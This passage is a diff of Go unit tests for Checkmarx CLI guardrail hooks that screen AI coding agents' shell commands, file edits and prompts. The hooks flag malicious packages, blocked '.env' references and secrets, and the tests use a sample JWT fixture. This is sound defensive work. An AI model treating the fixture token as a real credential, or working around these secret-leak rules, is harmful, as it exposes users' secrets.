diff --git a/internal/commands/agenthooks/cx/hooks_test.go b/internal/commands/agenthooks/cx/hooks_test.go index 0ac3b4b0..1963bfcc 100644 --- a/internal/commands/agenthooks/cx/hooks_test.go +++ b/internal/commands/agenthooks/cx/hooks_test.go @@ -3,10 +3,18 @@ package cx import ( + "os" + "path/filepath" + "runtime" "testing" agenthooks "github.com/Checkmarx/ast-cx-hooks" "github.com/Checkmarx/ast-cx-hooks/claude" + "github.com/Checkmarx/ast-cx-hooks/cursor" + "github.com/checkmarx/ast-cli/internal/commands/agenthooks/sca" + "github.com/checkmarx/ast-cli/internal/services/realtimeengine/ossrealtime" + "github.com/checkmarx/ast-cli/internal/wrappers/mock" + "github.com/stretchr/testify/assert" ) func TestSessionIDFromToolCall(t *testing.T) { @@ -20,3 +28,206 @@ func TestSessionIDFromToolCall(t *testing.T) { t.Errorf("nil raw: want empty, got %q", got) } } + +// setEmptyHomeDir redirects the OS-specific home-dir env var to a fresh empty +// temp directory so guardrail policy loading (~/.checkmarx/policyhooks.json) +// fails open deterministically, regardless of the real machine's home dir. +func setEmptyHomeDir(t *testing.T) { + t.Helper() + dir := t.TempDir() + if runtime.GOOS == "windows" { + t.Setenv("USERPROFILE", dir) + } else { + t.Setenv("HOME", dir) + } +} + +func TestCxWhenAgentIdle_AlwaysResumes(t *testing.T) { + verdict := cxWhenAgentIdle(agenthooks.AgentIdleEvent{}) + assert.True(t, verdict.Proceed) +} + +func TestAgentToString(t *testing.T) { + tests := []struct { + name string + agent agenthooks.AgentID + want string + }{ + {"claude", agenthooks.AgentClaude, "Claude"}, + {"copilot", agenthooks.AgentCopilot, "Copilot"}, + {"cursor", agenthooks.AgentCursor, "Cursor"}, + {"gemini", agenthooks.AgentGemini, "Gemini"}, + {"droid", agenthooks.AgentDroid, "Droid"}, + {"windsurf", agenthooks.AgentWindsurf, "Windsurf"}, + {"unknown", agenthooks.AgentID("something-else"), "Unknown"}, + } + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + assert.Equal(t, tt.want, agentToString(tt.agent)) + }) + } +} + +func TestNormalizeNewlines(t *testing.T) { + assert.Equal(t, "a\nb\nc", normalizeNewlines("a\r\nb\rc")) + assert.Equal(t, "no-newlines", normalizeNewlines("no-newlines")) +} + +func TestFullAfterContent_FullWrite_ReturnsAfterAsIs(t *testing.T) { + diff := agenthooks.FileDiff{Before: "", After: "brand new content"} + got := fullAfterContent(filepath.Join(t.TempDir(), "missing.txt"), diff) + assert.Equal(t, "brand new content", string(got)) +} + +func TestFullAfterContent_ExactReplacement(t *testing.T) { + path := filepath.Join(t.TempDir(), "file.txt") + assert.NoError(t, os.WriteFile(path, []byte("hello old world"), 0600)) + + diff := agenthooks.FileDiff{Before: "old", After: "new"} + got := fullAfterContent(path, diff) + assert.Equal(t, "hello new world", string(got)) +} + +func TestFullAfterContent_LineEndingNormalizedReplacement(t *testing.T) { + path := filepath.Join(t.TempDir(), "file.txt") + assert.NoError(t, os.WriteFile(path, []byte("line1\r\nold-region\r\nline3"), 0600)) + + diff := agenthooks.FileDiff{Before: "old-region\n", After: "new-region\n"} + got := fullAfterContent(path, diff) + assert.Equal(t, "line1\nnew-region\nline3", string(got)) +} + +func TestFullAfterContent_RegionNotFound_FallsBackToNormalizedAfter(t *testing.T) { + path := filepath.Join(t.TempDir(), "file.txt") + assert.NoError(t, os.WriteFile(path, []byte("completely unrelated content"), 0600)) + + diff := agenthooks.FileDiff{Before: "not-present-anywhere", After: "fallback\r\ncontent"} + got := fullAfterContent(path, diff) + assert.Equal(t, "fallback\ncontent", string(got)) +} + +func TestFullAfterContent_MissingFileWithBefore_ReturnsAfter(t *testing.T) { + diff := agenthooks.FileDiff{Before: "old", After: "new content"} + got := fullAfterContent(filepath.Join(t.TempDir(), "missing.txt"), diff) + assert.Equal(t, "new content", string(got)) +} + +func TestPromptWorkspaceRoots_CursorEventWithRoots(t *testing.T) { + raw := &cursor.PromptPreEvent{EventBase: cursor.EventBase{WorkspaceRoots: []string{"/repo/a", "/repo/b"}}} + roots := promptWorkspaceRoots(raw) + assert.Equal(t, []string{"/repo/a", "/repo/b"}, roots) +} + +func TestPromptWorkspaceRoots_NonCursorEvent_FallsBackToCwd(t *testing.T) { + cwd, err := os.Getwd() + assert.NoError(t, err) + + roots := promptWorkspaceRoots(nil) + assert.Equal(t, []string{cwd}, roots) +} + +func TestCxBeforeToolCall_NonShell_Allows(t *testing.T) { + verdict := cxBeforeToolCall(agenthooks.ToolCallEvent{Kind: agenthooks.ToolKindBuiltin}) + assert.True(t, verdict.Permit) +} + +func TestCxBeforeToolCall_ShellNoScanner_Allows(t *testing.T) { + setEmptyHomeDir(t) + scaScanner = nil + + verdict := cxBeforeToolCall(agenthooks.ToolCallEvent{Kind: agenthooks.ToolKindShell, Command: "ls -la"}) + assert.True(t, verdict.Permit) +} + +func TestCxBeforeToolCall_ShellWithMaliciousPackage_DeniesWithContext(t *testing.T) { + setEmptyHomeDir(t) + prevScanner, prevTelemetry := scaScanner, telemetryWrapper + defer func() { scaScanner, telemetryWrapper = prevScanner, prevTelemetry }() + + scaScanner = sca.NewScannerWithFunc(func(string) (*ossrealtime.OssPackageResults, error) { + return &ossrealtime.OssPackageResults{ + Packages: []ossrealtime.OssPackage{{PackageName: "lodash", PackageVersion: "4.17.21", Status: "Malicious"}}, + }, nil + }) + telemetryWrapper = mock.TelemetryMockWrapper{} + + verdict := cxBeforeToolCall(agenthooks.ToolCallEvent{Kind: agenthooks.ToolKindShell, Command: "npm install lodash@4.17.21"}) + assert.False(t, verdict.Permit) + assert.Contains(t, verdict.Message, "MALICIOUS") +} + +func TestCxBeforeFileEdit_CursorRead_NoSecrets_Accepts(t *testing.T) { + path := filepath.Join(t.TempDir(), "readme.txt") + assert.NoError(t, os.WriteFile(path, []byte("just some plain text, nothing sensitive here"), 0600)) + + verdict := cxBeforeFileEdit(agenthooks.FileEditEvent{Agent: agenthooks.AgentCursor, FilePath: path}) + assert.True(t, verdict.Permit) +} + +func TestCxBeforeFileEdit_UnsupportedFileType_Accepts(t *testing.T) { + setEmptyHomeDir(t) + prevSca, prevKics := scaScanner, kicsScanner + defer func() { scaScanner, kicsScanner = prevSca, prevKics }() + scaScanner = nil + kicsScanner = nil + + path := filepath.Join(t.TempDir(), "notes.txt") + ev := agenthooks.FileEditEvent{ + Agent: agenthooks.AgentClaude, + FilePath: path, + Changes: []agenthooks.FileDiff{{Before: "", After: "hello world"}}, + } + + verdict := cxBeforeFileEdit(ev) + assert.True(t, verdict.Permit) +} + +func TestCxBeforePrompt_Benign_Accepts(t *testing.T) { + setEmptyHomeDir(t) + verdict := cxBeforePrompt(agenthooks.PromptEvent{Text: "please explain how this function works"}) + assert.True(t, verdict.Accept) +} + +func TestRegisterGuardrails_SetsScanners(t *testing.T) { + prevSca, prevKics, prevTelemetry := scaScanner, kicsScanner, telemetryWrapper + defer func() { scaScanner, kicsScanner, telemetryWrapper = prevSca, prevKics, prevTelemetry }() + + telemetry := mock.TelemetryMockWrapper{} + RegisterGuardrails(&mock.JWTMockWrapper{}, &mock.FeatureFlagsMockWrapper{}, &mock.RealtimeScannerMockWrapper{}, telemetry) + + assert.NotNil(t, scaScanner) + assert.NotNil(t, kicsScanner) + assert.Equal(t, telemetry, telemetryWrapper) +} + +func TestRegisterPassThrough_ClearsScanners(t *testing.T) { + prevSca, prevKics := scaScanner, kicsScanner + defer func() { scaScanner, kicsScanner = prevSca, prevKics }() + + RegisterGuardrails(&mock.JWTMockWrapper{}, &mock.FeatureFlagsMockWrapper{}, &mock.RealtimeScannerMockWrapper{}, mock.TelemetryMockWrapper{}) + assert.NotNil(t, scaScanner) + + RegisterPassThrough() + assert.Nil(t, scaScanner) + assert.Nil(t, kicsScanner) +} + +func TestLogRemediationTelemetry_NilWrapper_NoOp(t *testing.T) { + prevTelemetry := telemetryWrapper + defer func() { telemetryWrapper = prevTelemetry }() + + telemetryWrapper = nil + assert.NotPanics(t, func() { + logRemediationTelemetry("Claude", "SCA", "finding", "remediation") + }) +} + +func TestLogRemediationTelemetry_WithWrapper_Sends(t *testing.T) { + prevTelemetry := telemetryWrapper + defer func() { telemetryWrapper = prevTelemetry }() + + telemetryWrapper = mock.TelemetryMockWrapper{} + assert.NotPanics(t, func() { + logRemediationTelemetry("Claude", "SCA", "finding", "remediation") + }) +} diff --git a/internal/commands/agenthooks/guardrails/asca/asca_test.go b/internal/commands/agenthooks/guardrails/asca/asca_test.go index 4d96ad4e..8b43d6db 100644 --- a/internal/commands/agenthooks/guardrails/asca/asca_test.go +++ b/internal/commands/agenthooks/guardrails/asca/asca_test.go @@ -10,8 +10,13 @@ import ( "testing" agenthooks "github.com/Checkmarx/ast-cx-hooks" + "github.com/checkmarx/ast-cli/internal/params" "github.com/checkmarx/ast-cli/internal/services/realtimeengine/ignore" + "github.com/checkmarx/ast-cli/internal/wrappers" "github.com/checkmarx/ast-cli/internal/wrappers/grpcs" + "github.com/checkmarx/ast-cli/internal/wrappers/mock" + "github.com/spf13/viper" + "github.com/stretchr/testify/assert" ) // ── ProposedContent ───────────────────────────────────────────────────────── @@ -101,14 +106,16 @@ func TestProposedContent_MultiEdit(t *testing.T) { // ── stageForScan / safeSessionTag ─────────────────────────────────────────── +const wantAnonTag = "anon" + func TestSafeSessionTag_Empty(t *testing.T) { - if got := safeSessionTag(""); got != "anon" { + if got := safeSessionTag(""); got != wantAnonTag { t.Fatalf("want anon, got %q", got) } } func TestSafeSessionTag_AllSpecialChars(t *testing.T) { - if got := safeSessionTag("!!!???"); got != "anon" { + if got := safeSessionTag("!!!???"); got != wantAnonTag { t.Fatalf("want anon, got %q", got) } } @@ -119,8 +126,9 @@ func TestSafeSessionTag_UUID(t *testing.T) { t.Fatalf("expected ≤8 chars, got %q (len %d)", got, len(got)) } for _, r := range got { - if !((r >= 'a' && r <= 'z') || (r >= 'A' && r <= 'Z') || - (r >= '0' && r <= '9') || r == '-' || r == '_') { + isAllowedChar := (r >= 'a' && r <= 'z') || (r >= 'A' && r <= 'Z') || + (r >= '0' && r <= '9') || r == '-' || r == '_' + if !isAllowedChar { t.Fatalf("unexpected char %q in tag %q", r, got) } } @@ -174,6 +182,34 @@ func TestStageForScan_CleanupRemovesDir(t *testing.T) { } } +func TestStageForScan_EmptyOriginalPath_ReturnsError(t *testing.T) { + staged, cleanup, err := stageForScan("", "content", "sess") + if err == nil { + t.Fatal("expected error for empty original path") + } + if staged != "" { + t.Fatalf("expected empty staged path on error, got %q", staged) + } + if !strings.Contains(err.Error(), "invalid basename") { + t.Fatalf("expected invalid basename error, got %v", err) + } + cleanup() // must be safe to call (noop) even on the error path +} + +func TestStageForScan_DotDotOriginalPath_ReturnsError(t *testing.T) { + staged, cleanup, err := stageForScan("..", "content", "sess") + if err == nil { + t.Fatal("expected error for '..' original path") + } + if staged != "" { + t.Fatalf("expected empty staged path on error, got %q", staged) + } + if !strings.Contains(err.Error(), "invalid basename") { + t.Fatalf("expected invalid basename error, got %v", err) + } + cleanup() +} + func TestStageForScan_FileMode(t *testing.T) { if runtime.GOOS == "windows" { t.Skip("Unix permission bits (0600) are not enforced on Windows; validated on Linux/macOS CI") @@ -325,3 +361,143 @@ func TestAdditionalContext_EmptyWorkDirOmitsIgnoredFilePath(t *testing.T) { t.Errorf("expected no ignored-file-path flag for empty workDir, got %q", ctx) } } + +// ── isSupportedByASCA ──────────────────────────────────────────────────────── + +func TestIsSupportedByASCA(t *testing.T) { + tests := []struct { + path string + want bool + }{ + {"main.py", true}, + {"main.PY", true}, + {"App.java", true}, + {"index.js", true}, + {"component.tsx", true}, + {"Program.cs", true}, + {"server.go", true}, + {"readme.md", false}, + {"data.json", false}, + {"noextension", false}, + } + for _, tt := range tests { + t.Run(tt.path, func(t *testing.T) { + assert.Equal(t, tt.want, isSupportedByASCA(tt.path)) + }) + } +} + +// ── ScanFileEdit fail-open branches ────────────────────────────────────────── + +func TestScanFileEdit_UnsupportedExtension_ReturnsFalse(t *testing.T) { + blocked, reason, context := ScanFileEdit(agenthooks.FileEditEvent{FilePath: "notes.txt"}, nil, "Claude") + assert.False(t, blocked) + assert.Empty(t, reason) + assert.Empty(t, context) +} + +func TestScanFileEdit_EmptyProposedContent_ReturnsFalse(t *testing.T) { + ev := agenthooks.FileEditEvent{ + FilePath: filepath.Join(t.TempDir(), "empty.py"), + Changes: []agenthooks.FileDiff{{Before: "", After: ""}}, + } + blocked, reason, context := ScanFileEdit(ev, nil, "Claude") + assert.False(t, blocked) + assert.Empty(t, reason) + assert.Empty(t, context) +} + +// ── existingIgnoreFilePath ─────────────────────────────────────────────────── + +func TestExistingIgnoreFilePath_FileMissing_ReturnsEmpty(t *testing.T) { + assert.Empty(t, existingIgnoreFilePath(t.TempDir())) +} + +func TestExistingIgnoreFilePath_FileExists_ReturnsPath(t *testing.T) { + workDir := t.TempDir() + ignorePath := ignore.PathFor(workDir) + assert.NoError(t, os.MkdirAll(filepath.Dir(ignorePath), 0o755)) + assert.NoError(t, os.WriteFile(ignorePath, []byte("[]"), 0o600)) + + assert.Equal(t, ignorePath, existingIgnoreFilePath(workDir)) +} + +// ── shouldUpdateVersion ────────────────────────────────────────────────────── + +func TestShouldUpdateVersion_DefaultTrue(t *testing.T) { + viper.Set(params.DisableASCALatestVersionKey, "") + defer viper.Set(params.DisableASCALatestVersionKey, "") + + assert.True(t, shouldUpdateVersion()) +} + +func TestShouldUpdateVersion_DisabledReturnsFalse(t *testing.T) { + viper.Set(params.DisableASCALatestVersionKey, "true") + defer viper.Set(params.DisableASCALatestVersionKey, "") + + assert.False(t, shouldUpdateVersion()) +} + +// ── logASCATelemetry ───────────────────────────────────────────────────────── + +func TestLogASCATelemetry_NilWrapper_NoOp(t *testing.T) { + assert.NotPanics(t, func() { + logASCATelemetry(nil, "Claude", 3) + }) +} + +func TestLogASCATelemetry_ZeroCount_DoesNotSend(t *testing.T) { + sent := false + telemetry := mock.TelemetryMockWrapper{ + CustomSendAIDataToLog: func(data *wrappers.DataForAITelemetry) error { + sent = true + return nil + }, + } + logASCATelemetry(telemetry, "Claude", 0) + assert.False(t, sent) +} + +func TestLogASCATelemetry_WithFindings_Sends(t *testing.T) { + var captured *wrappers.DataForAITelemetry + telemetry := mock.TelemetryMockWrapper{ + CustomSendAIDataToLog: func(data *wrappers.DataForAITelemetry) error { + captured = data + return nil + }, + } + logASCATelemetry(telemetry, "Claude", 2) + assert.NotNil(t, captured) + assert.Equal(t, "Asca", captured.Engine) + assert.Equal(t, 2, captured.TotalCount) + assert.Equal(t, "Claude", captured.AIProvider) +} + +// ── findingsSummary / formatFindings ───────────────────────────────────────── + +func TestFindingsSummary_IncludesRemediation(t *testing.T) { + findings := []grpcs.ScanDetail{ + {FileName: "a.py", Line: 3, Severity: "HIGH", RuleName: "sql-injection", RuleID: 10, Remediation: "use parameterized queries"}, + } + summary := findingsSummary(findings) + assert.Contains(t, summary, "a.py line 3 [HIGH] sql-injection (rule_id 10) — use parameterized queries") +} + +func TestFindingsSummary_MissingRemediation_UsesDefaultText(t *testing.T) { + findings := []grpcs.ScanDetail{ + {FileName: "a.py", Line: 3, Severity: "HIGH", RuleName: "sql-injection", RuleID: 10}, + } + summary := findingsSummary(findings) + assert.Contains(t, summary, "No remediation provided") +} + +func TestFormatFindings_ReturnsReasonAndContext(t *testing.T) { + findings := []grpcs.ScanDetail{ + {FileName: "a.py", Line: 3, Severity: "HIGH", RuleName: "sql-injection", RuleID: 10}, + } + reason, context := formatFindings("a.py", findings, "") + assert.Contains(t, reason, "ASCA security scan detected vulnerabilities in a.py") + assert.Contains(t, reason, "sql-injection") + assert.Contains(t, context, "ASCA detected vulnerabilities in a.py") + assert.Contains(t, context, "ignore-vulnerability") +} diff --git a/internal/commands/agenthooks/guardrails/prompt_test.go b/internal/commands/agenthooks/guardrails/prompt_test.go index eddb3181..5674fbc6 100644 --- a/internal/commands/agenthooks/guardrails/prompt_test.go +++ b/internal/commands/agenthooks/guardrails/prompt_test.go @@ -18,6 +18,11 @@ const sampleJWT = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9." + "eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ." + "SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c" +const ( + testOSWindows = "windows" + testJiraConfigFile = "application-jira.yml" +) + // resolveReferencedFile is the resolver behind ScanReferencedFiles. We exercise // it directly because the scanner integration is unchanged — only the resolver // logic shifted from "literal stat" to "literal stat + glob fallback". @@ -35,12 +40,12 @@ func TestResolveReferencedFile_LiteralAbsoluteHit(t *testing.T) { func TestResolveReferencedFile_GlobFallbackFindsSibling(t *testing.T) { dir := t.TempDir() - mustWrite(t, filepath.Join(dir, "application-jira.yml"), "k: v") + mustWrite(t, filepath.Join(dir, testJiraConfigFile), "k: v") typed := filepath.Join(dir, "application-jira") // no extension got := resolveReferencedFile(typed, nil) - if len(got) != 1 || filepath.Base(got[0]) != "application-jira.yml" { + if len(got) != 1 || filepath.Base(got[0]) != testJiraConfigFile { t.Fatalf("expected glob fallback to find application-jira.yml, got %v", got) } } @@ -81,10 +86,10 @@ func TestResolveReferencedFile_TypedPathIsDirectory(t *testing.T) { func TestResolveReferencedFile_RelativePathResolvesAgainstWorkspaceRoot(t *testing.T) { dir := t.TempDir() - mustWrite(t, filepath.Join(dir, "application-jira.yml"), "k: v") + mustWrite(t, filepath.Join(dir, testJiraConfigFile), "k: v") got := resolveReferencedFile("application-jira", []string{dir}) - if len(got) != 1 || filepath.Base(got[0]) != "application-jira.yml" { + if len(got) != 1 || filepath.Base(got[0]) != testJiraConfigFile { t.Fatalf("expected glob fallback under workspace root to find application-jira.yml, got %v", got) } } @@ -102,17 +107,17 @@ func TestResolveReferencedFile_RelativeStopsAtFirstMatchingRoot(t *testing.T) { } func TestResolveReferencedFile_CursorStyleWindowsRootNormalised(t *testing.T) { - if runtime.GOOS != "windows" { + if runtime.GOOS != testOSWindows { t.Skip("Cursor /c:/ root form is Windows-specific") } dir := t.TempDir() - mustWrite(t, filepath.Join(dir, "application-jira.yml"), "k: v") + mustWrite(t, filepath.Join(dir, testJiraConfigFile), "k: v") // Cursor reports Windows roots as "/c:/foo"; NormalizeWorkspaceRoot strips // the leading slash. Confirm the resolver still finds the file via glob. cursorRoot := "/" + filepath.ToSlash(dir) got := resolveReferencedFile("application-jira", []string{cursorRoot}) - if len(got) != 1 || filepath.Base(got[0]) != "application-jira.yml" { + if len(got) != 1 || filepath.Base(got[0]) != testJiraConfigFile { t.Fatalf("expected glob fallback under Cursor-style root, got %v", got) } } @@ -133,6 +138,117 @@ func TestResolveReferencedFile_GlobMatchesMixedRegularAndDir(t *testing.T) { } } +// -------------------------------------------------------------------------- +// ScanForSecrets — 2ms scan over raw prompt text +// -------------------------------------------------------------------------- + +func TestScanForSecrets_BlocksOnJWT(t *testing.T) { + reason := ScanForSecrets("token = " + sampleJWT) + if reason == "" { + t.Fatal("expected block: text contains a JWT") + } + if !strings.Contains(reason, "secret(s)") { + t.Fatalf("expected secret count in reason, got %q", reason) + } +} + +func TestScanForSecrets_CleanText_NoBlock(t *testing.T) { + if reason := ScanForSecrets("please refactor this function"); reason != "" { + t.Fatalf("expected no block for clean text, got %q", reason) + } +} + +// -------------------------------------------------------------------------- +// ScanReferencedFiles — resolves + scans files mentioned in prompt text +// -------------------------------------------------------------------------- + +func TestScanReferencedFiles_NoPathsInText_ReturnsEmpty(t *testing.T) { + if reason := ScanReferencedFiles("please refactor this function", nil); reason != "" { + t.Fatalf("expected no-op with no file references, got %q", reason) + } +} + +func TestScanReferencedFiles_ReferencedFileHasSecret_Blocks(t *testing.T) { + dir := t.TempDir() + target := filepath.Join(dir, "creds.env") + mustWrite(t, target, "token = "+sampleJWT) + + reason := ScanReferencedFiles("please check @"+target, nil) + if reason == "" { + t.Fatal("expected block: referenced file contains a JWT") + } + if !strings.Contains(reason, "creds.env") { + t.Fatalf("reason should cite the file path, got %q", reason) + } +} + +func TestScanReferencedFiles_ReferencedFileClean_NoBlock(t *testing.T) { + dir := t.TempDir() + target := filepath.Join(dir, "notes.txt") + mustWrite(t, target, "just some plain notes") + + if reason := ScanReferencedFiles("please check @"+target, nil); reason != "" { + t.Fatalf("expected no block for clean referenced file, got %q", reason) + } +} + +func TestScanReferencedFiles_MissingFile_FailOpen(t *testing.T) { + missing := filepath.Join(t.TempDir(), "does-not-exist.env") + if reason := ScanReferencedFiles("please check @"+missing, nil); reason != "" { + t.Fatalf("expected fail-open for missing referenced file, got %q", reason) + } +} + +// -------------------------------------------------------------------------- +// ScanPrompt — orchestrates all prompt guardrails +// -------------------------------------------------------------------------- + +func TestScanPrompt_CleanText_ReturnsEmpty(t *testing.T) { + if reason := ScanPrompt("please explain how this function works"); reason != "" { + t.Fatalf("expected clean prompt to pass, got %q", reason) + } +} + +func TestScanPrompt_SecretInText_Blocks(t *testing.T) { + reason := ScanPrompt("here is my token: " + sampleJWT) + if reason == "" { + t.Fatal("expected block: prompt contains a JWT") + } + if !strings.Contains(reason, "secret(s)") { + t.Fatalf("expected secret-scanner reason, got %q", reason) + } +} + +func TestScanPrompt_BlockedExtensionReferenced_Blocks(t *testing.T) { + policy := HooksPolicy{} + policy.DefaultPolicy.ContextPolicy.Enabled = true + policy.DefaultPolicy.ContextPolicy.BlockedExtensions = BlockedExtensions{Enabled: true, Extensions: []string{".env"}} + defer writePolicyHelper(t, &policy)() + + reason := ScanPrompt("please review @config.env for me") + if reason == "" { + t.Fatal("expected block: prompt references a blocked extension") + } + if !strings.Contains(reason, "blocked extensions") { + t.Fatalf("expected blocked-extension reason, got %q", reason) + } +} + +func TestScanPrompt_TooManyFilesReferenced_Blocks(t *testing.T) { + policy := HooksPolicy{} + policy.DefaultPolicy.ContextPolicy.Enabled = true + policy.DefaultPolicy.ContextPolicy.FilesLimits = FilesLimits{Enabled: true, MaxFileCount: 1} + defer writePolicyHelper(t, &policy)() + + reason := ScanPrompt("please review @a.go and @b.go and @c.go") + if reason == "" { + t.Fatal("expected block: prompt references more files than the policy allows") + } + if !strings.Contains(reason, "exceeding the policy limit") { + t.Fatalf("expected files-limit reason, got %q", reason) + } +} + func mustWrite(t *testing.T, path, content string) { t.Helper() if err := os.WriteFile(path, []byte(content), 0o600); err != nil { @@ -161,7 +277,7 @@ func itoa(i int) string { // writePolicyHelper writes a HooksPolicy to a temp ~/.checkmarx/policyhooks.json // and redirects the home dir so LoadPolicy() picks it up. Returns a cleanup // function that must be invoked (typically via defer) to restore the env. -func writePolicyHelper(t *testing.T, policy HooksPolicy) func() { +func writePolicyHelper(t *testing.T, policy *HooksPolicy) func() { t.Helper() data, err := json.Marshal(policy) if err != nil { @@ -175,24 +291,28 @@ func writePolicyHelper(t *testing.T, policy HooksPolicy) func() { if err := os.WriteFile(filepath.Join(cxDir, "policyhooks.json"), data, 0o644); err != nil { t.Fatalf("write policy: %v", err) } - if runtime.GOOS == "windows" { + if runtime.GOOS == testOSWindows { orig, had := os.LookupEnv("USERPROFILE") - os.Setenv("USERPROFILE", dir) + if err := os.Setenv("USERPROFILE", dir); err != nil { + t.Fatalf("setenv USERPROFILE: %v", err) + } return func() { if had { - os.Setenv("USERPROFILE", orig) + _ = os.Setenv("USERPROFILE", orig) } else { - os.Unsetenv("USERPROFILE") + _ = os.Unsetenv("USERPROFILE") } } } orig, had := os.LookupEnv("HOME") - os.Setenv("HOME", dir) + if err := os.Setenv("HOME", dir); err != nil { + t.Fatalf("setenv HOME: %v", err) + } return func() { if had { - os.Setenv("HOME", orig) + _ = os.Setenv("HOME", orig) } else { - os.Unsetenv("HOME") + _ = os.Unsetenv("HOME") } } } @@ -335,7 +455,7 @@ func TestScanWorkspaceFilesByPromptName_SizePolicyViolation_BlocksWithoutSecrets policy := HooksPolicy{} policy.DefaultPolicy.ContextPolicy.Enabled = true policy.DefaultPolicy.ContextPolicy.FilesLimits = FilesLimits{Enabled: true, MaxFileSizeKB: 3} - defer writePolicyHelper(t, policy)() + defer writePolicyHelper(t, &policy)() ws := makeWorkspace(t, map[string]string{ "Kedar.txt": strings.Repeat("a", 5*1024), // 5 KB, no secrets @@ -353,7 +473,7 @@ func TestScanWorkspaceFilesByPromptName_SizePolicyAtCap_NotBlocked(t *testing.T) policy := HooksPolicy{} policy.DefaultPolicy.ContextPolicy.Enabled = true policy.DefaultPolicy.ContextPolicy.FilesLimits = FilesLimits{Enabled: true, MaxFileSizeKB: 3} - defer writePolicyHelper(t, policy)() + defer writePolicyHelper(t, &policy)() ws := makeWorkspace(t, map[string]string{ "Kedar.txt": strings.Repeat("a", 3*1024), // exactly at cap @@ -380,7 +500,7 @@ func TestScanWorkspaceFilesByPromptName_NoWorkspaceRoots_NoOp(t *testing.T) { } func TestScanWorkspaceFilesByPromptName_CursorStyleWindowsRoot(t *testing.T) { - if runtime.GOOS != "windows" { + if runtime.GOOS != testOSWindows { t.Skip("Cursor /c:/foo root form is Windows-specific") } ws := makeWorkspace(t, map[string]string{ @@ -520,7 +640,7 @@ func TestScanFileForSecrets_OverPolicyCap_BlocksOnSize(t *testing.T) { policy := HooksPolicy{} policy.DefaultPolicy.ContextPolicy.Enabled = true policy.DefaultPolicy.ContextPolicy.FilesLimits = FilesLimits{Enabled: true, MaxFileSizeKB: 3} - defer writePolicyHelper(t, policy)() + defer writePolicyHelper(t, &policy)() dir := t.TempDir() path := filepath.Join(dir, "big.txt") @@ -539,7 +659,7 @@ func TestScanFileForSecrets_AtPolicyCap_Allowed(t *testing.T) { policy := HooksPolicy{} policy.DefaultPolicy.ContextPolicy.Enabled = true policy.DefaultPolicy.ContextPolicy.FilesLimits = FilesLimits{Enabled: true, MaxFileSizeKB: 3} - defer writePolicyHelper(t, policy)() + defer writePolicyHelper(t, &policy)() dir := t.TempDir() path := filepath.Join(dir, "exact.txt") diff --git a/internal/commands/agenthooks/mcp/bridge_test.go b/internal/commands/agenthooks/mcp/bridge_test.go index 76701bff..c9818e35 100644 --- a/internal/commands/agenthooks/mcp/bridge_test.go +++ b/internal/commands/agenthooks/mcp/bridge_test.go @@ -38,7 +38,7 @@ func TestNewBridgeClient(t *testing.T) { tr, ok := c.Transport.(*http.Transport) assert.True(t, ok, "expected a proxy-aware *http.Transport") assert.NotNil(t, tr.Proxy, "expected a proxy resolver") - req, err := http.NewRequest(http.MethodGet, "https://mcp.example.com", nil) + req, err := http.NewRequest(http.MethodGet, "https://mcp.example.com", http.NoBody) assert.NoError(t, err) proxyURL, err := tr.Proxy(req) assert.NoError(t, err) @@ -608,6 +608,133 @@ func TestAuthedSelfHeal_ReReadsDisk(t *testing.T) { assert.Contains(t, out.String(), `"ok":true`) } +func TestDefaultProtocolVersion(t *testing.T) { + assert.Equal(t, "2025-06-18", defaultProtocolVersion()) +} + +func TestNewBridgeCommand_Metadata(t *testing.T) { + cmd := NewBridgeCommand("1.2.3") + assert.Equal(t, "bridge", cmd.Use) + assert.True(t, cmd.Hidden) + assert.NotNil(t, cmd.Flags().Lookup(mcpURLFlag)) +} + +func TestDispatchLocal_NotificationsInitialized_NoResponse(t *testing.T) { + var out syncBuffer + s := &bridgeSession{writer: newSyncWriter(&out)} + s.dispatchLocal([]byte(`{"jsonrpc":"2.0","method":"notifications/initialized"}`)) + assert.Empty(t, out.String()) +} + +func TestDispatchLocal_Ping_RespondsWithEmptyResult(t *testing.T) { + var out syncBuffer + s := &bridgeSession{writer: newSyncWriter(&out)} + s.dispatchLocal([]byte(`{"jsonrpc":"2.0","id":5,"method":"ping"}`)) + lines := decodeLines(t, out.String()) + assert.Len(t, lines, 1) + assert.Equal(t, float64(5), lines[0]["id"]) + assert.Equal(t, map[string]interface{}{}, lines[0]["result"]) +} + +func TestDispatchLocal_UnknownMethodWithID_WritesError(t *testing.T) { + var out syncBuffer + s := &bridgeSession{writer: newSyncWriter(&out)} + s.dispatchLocal([]byte(`{"jsonrpc":"2.0","id":7,"method":"tools/call"}`)) + lines := decodeLines(t, out.String()) + assert.Len(t, lines, 1) + assert.Contains(t, lines[0], "error") +} + +func TestDispatchLocal_UnknownMethodWithoutID_NoResponse(t *testing.T) { + var out syncBuffer + s := &bridgeSession{writer: newSyncWriter(&out)} + s.dispatchLocal([]byte(`{"jsonrpc":"2.0","method":"notifications/foo"}`)) + assert.Empty(t, out.String()) +} + +func TestDispatchLocal_InvalidJSON_Ignored(t *testing.T) { + var out syncBuffer + s := &bridgeSession{writer: newSyncWriter(&out)} + s.dispatchLocal([]byte(`not json`)) + assert.Empty(t, out.String()) +} + +func TestEmit_EmptyRaw_NoOutput(t *testing.T) { + var out syncBuffer + s := &bridgeSession{writer: newSyncWriter(&out)} + s.emit([]byte(" ")) + assert.Empty(t, out.String()) +} + +func TestEmit_InvalidJSON_NoOutput(t *testing.T) { + var out syncBuffer + s := &bridgeSession{writer: newSyncWriter(&out)} + s.emit([]byte("not json")) + assert.Empty(t, out.String()) +} + +func TestEmit_ValidJSONWithoutProtocolVersion_EmitsAndLeavesProtoUnset(t *testing.T) { + var out syncBuffer + s := &bridgeSession{writer: newSyncWriter(&out)} + s.emit([]byte(`{"jsonrpc":"2.0","id":1,"result":{"ok":true}}`)) + assert.Contains(t, out.String(), `"ok":true`) + assert.Empty(t, s.proto) +} + +func TestHandleResponse_Accepted_DiscardsBodyNoOutput(t *testing.T) { + var out syncBuffer + s := &bridgeSession{writer: newSyncWriter(&out)} + resp := &http.Response{StatusCode: http.StatusAccepted, Header: http.Header{}, Body: io.NopCloser(strings.NewReader("ignored"))} + s.handleResponse(resp) + assert.Empty(t, out.String()) +} + +func TestHandleResponse_CapturesSessionID(t 